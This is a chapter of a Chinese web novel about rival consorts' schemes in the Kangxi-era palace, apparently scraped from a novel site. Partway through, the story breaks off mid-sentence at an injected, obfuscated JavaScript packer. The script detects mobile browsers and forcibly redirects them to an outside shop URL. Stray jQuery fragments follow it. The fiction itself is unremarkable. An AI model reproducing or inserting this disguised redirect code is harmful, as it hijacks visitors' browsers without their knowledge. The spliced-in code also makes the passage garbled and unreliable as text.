文趣网 > 其他小说 > 康熙宠妃日常 > 19. 第 19 章
    “你还有别的本事吗?我看张氏不快了。”乌拉那拉氏没点名春儿会医这点,想来这点连小福晋都不知道,不然小福晋怎么可能会轻易放走一个医女,让她捡了大便宜。

    春儿想到自己将近两年的痛苦,以及张氏同为主子奴才却过上了庶妃的好日子,心情忽上忽下,她咬咬牙,下定决心道:“格格,奴才会医,若是您能给奴才弄来一些中草,奴才有法子让张格格病重。”

    “好,我给你弄来。”乌拉那拉氏心里颇为满意,看来春儿是真心效忠她的,不然怎么会说出自己会医一事。

    主仆二人各藏心思,但算计张氏的事竟这么达成了默契。

    午后,钟粹宫西配殿,秋菊又兴匆匆带回了一篮子的花瓣。

    自从吉鼐尝试洗花瓣澡后没有任何过敏症状,便偶尔来一次花瓣澡了。

    何况,花瓣澡配牛奶,说不上多留香,但皇上是喜欢这味道的,正好取代熏香一物。

    这事通常是让秋菊来办,秋菊满身牛劲,几次办差下来都没出差错,久而久之,便成了小福晋身边的“专用采花官”,说来也是戏称,但秋菊心里挺喜欢这个称呼的。

    主子身边有夏荷姐姐这位出谋划策的心腹,她没啥真本事,但她也有长处的,就比如这摘花,没人比她更耐心了。

    吉鼐笑道:“咱们的采花官回来了,让我闻闻今儿这花好不好闻。”

    “主子放心,奴才仔仔细细挑选的了。”秋菊拍了拍胸膛,满脸自信。

    吉鼐是信她的,因此这话也是说笑的,可她凑过去,她鼻子突然闻到一股极其轻微的异味,说不上刺鼻,但就是很古怪,是之前的花都没有出现过的气味。

    “主儿,怎么了?”夏荷原本在笑,可见主子眉头微蹙,赶紧上前。

    “这花闻着不对劲,你们过来闻闻。”

    两人心一紧,赶紧凑过去闻。

    可闻来闻去,都没闻出主子说的不对劲,但主子是绝不可能在这种事上跟她们开玩笑的。

    秋菊脸色一白,“主儿,奴才不知怎么了,一切都是按照过往来的。”

    吉鼐凝神,“我相信你,只是宁可信其有,不可信其无,这花是不能用了,但不用也不行,万一这幕后之人还有什么打算,那就措不及防了。”

    “主儿想怎么做?”夏荷神色肃重。

    “小小的花瓣承载不起太多算计,何况这宫里没有一击即中的谋命毒药,就照往常弄花瓣澡吧,只是就不用亲身上阵了,这几天我们就不出去了,夏荷,秋菊,我们得演一出戏了。”

    吉鼐不觉得宫里有一剑封喉的毒药,更不觉得这点轻微得旁人都闻不出来的剂量能让人如何,因此,她猜这东西兴许会让人过敏或是毁容。

    若是作用于体内,那幕后之人下的药量是即便用过这花,也能让太医发现的程度,而且,这又不是吃进去的东西。

    只要让这花呈现出被使用过的状态后,再让夏荷和秋菊表现出一副讳莫如深、魂不守舍的状态,便可趁敌人不备时,抓住对方把柄。

    不过,这一切的前提是,她猜的没错,并且对方露出马脚了。

    听主子一说,两人纷纷点头。

    秋菊摩拳擦掌,咬牙切齿道:“我非得让那些人瞧瞧,敢算计主子是什么下场。”

    尤其是拿主子对她的信任算计主子,罪无可赦,她不敢想要是真算计成功了,主儿会怎么样。

    翌日一早,夏荷刻意板住脸去请太医过来,正好太医要把平安脉,即便提前几天了,可看在宫里正得宠的妃子脸面上,也不是不能提前。

    当然请过平安脉后,一切都平安无恙。

    太医一头雾水回去了。

    夏荷已经尽力绷住脸了,可她身旁的秋菊满脸愁绪,被夏荷扯了好多回衣袖都没调整过来。

    如意偷偷窥见这一幕便赶紧回去告知格格。

    “真是太好了。”乌拉那拉氏嘴角含笑,时隔多久了,她总算让小福晋吃亏了。

    “张氏怎么样了?”她瞥了眼对面。

    “开始咳嗽了,今早奴才便听到了声音。”春儿低头道。

    “好事啊。锦上添花。”乌拉那拉氏乐开花了,时不待我,我便不择手段。

    里屋,张格格感觉喉咙一阵发痒,对面似乎传来嘲笑的声音,她忍下痒意。

    心道乌拉那拉氏可真是蠢货,居然将一条毒蛇放在自己身边,不过,这样正好便宜她,待主子一进宫,乌拉那拉氏倒台,小福晋倒台,这后宫便是主子的天下,她是主子的人,主子必然不会忘了她的好。

    ……

    钟粹宫,夏荷脸色紧绷,“主儿,牛无为发现有人在宫门外窥探着,瞧着身形模样像乌拉那拉格格身边的如意。”

    吉鼐沉思,“我听说,春儿到她身边了。”

    她拿捏不准幕后之人的心思,但是,乌拉那拉氏也想模仿幕后之人来一场神不知鬼不觉的算计,异想天开,她又不是圣人,知道了怎么会不报复回去。

    “主儿,您想怎么做?”秋菊满脸兴奋,摩拳擦掌。

    “格格身边只得有一位宫女,她将春儿弄到自己身边,本就越矩了。”

    这种事一向是睁一只眼闭一只眼的,太妃们大多出身蒙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836531|211450||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    古各部,因此,即便位分不够,身边伺候的人都很多,而且,这些太妃的靠山是太皇太后和皇太后。

    在后宫,太皇太后和皇太后的话就是规矩。

    可乌拉那拉氏又不是太妃,地位低微,春儿还得罪过皇太后。

    “主儿,奴才知道怎么做了。”夏荷面上一松,“这次不让她赔了夫人也必然折了兵!”

    不多时,永和宫的首领太监童藕生便大汗淋漓,他以为乌拉那拉格格身边只是多出一个宫女,便没当一回事,先帝还活着时,太妃们身边超出规格伺候的奴才也不少。

    没想到那是曾经得罪过皇太后的宫女!

    要是让皇太后得知永和宫留了这人,这可如何是好。

    想起底下徒弟方才告知自己的事,童藕生咬了咬牙,心里生了万般怒火。

    直让他奔向西配殿,“乌拉那拉格格,奴才有事求见。”

    乌拉那拉氏心里一突,赶忙出来,“童公公,你怎么来了?”

    童藕生眼睛直勾勾看着她身后的春儿,“格格,您还真是给了奴才一个惊喜啊。”

    乌拉那拉氏当即变了脸色,“公公,这宫女不算伶俐,她不会出现在永和宫以外的地儿。”

    童藕生冷笑一声,“呵,格格这话真让奴才为难啊,她这样的罪人,也配出现在永和宫,您别是脑子糊涂了,犯了忌讳都不知吧。”

    乌拉那拉氏脸色惨白,咬咬牙便匆忙回屋,打开上锁的枕箱,里面装有五十两银子,这是家族给她最后的银子,她手指克制不住地颤抖。

    她这两年在宫里没有那样惨淡,如意没有背主心思,全靠家族给她的银钱支撑。

    可家族耐心几近无,这便是她最后的梯己钱。

    她拿出二十两,匆忙锁好箱子,便出来往童藕生手里一塞,“童公公,你看,这丫头手脚蠢笨,您就别同她一般计较了。”

    童藕生瞧见银子时,原本阴沉的脸色一变,“格格,你这——唉,奴才又不是不讲理。”

    他推了两下便收下了,瞥了眼春儿。

    乌拉那拉氏连忙道:“她绝不会出了永和宫。”

    “最好是这样。”童藕生知道她手上绝不会只有这点银两,不过没必要将她逼得太急,逼得太急可就竹篮打水一场空了。

    童藕生一走,乌拉那拉氏仿佛全身虚脱般膝盖一软,如意扶住她,她闭了闭眼,心里一股气堵着。

    哪怕刚算计小福晋成功,也没有起初欢喜的心情了,她只记得自己此时的狼狈。

    在一个阉人面前低声下气,她往后想要拿捏永和宫的太监,怕是难了。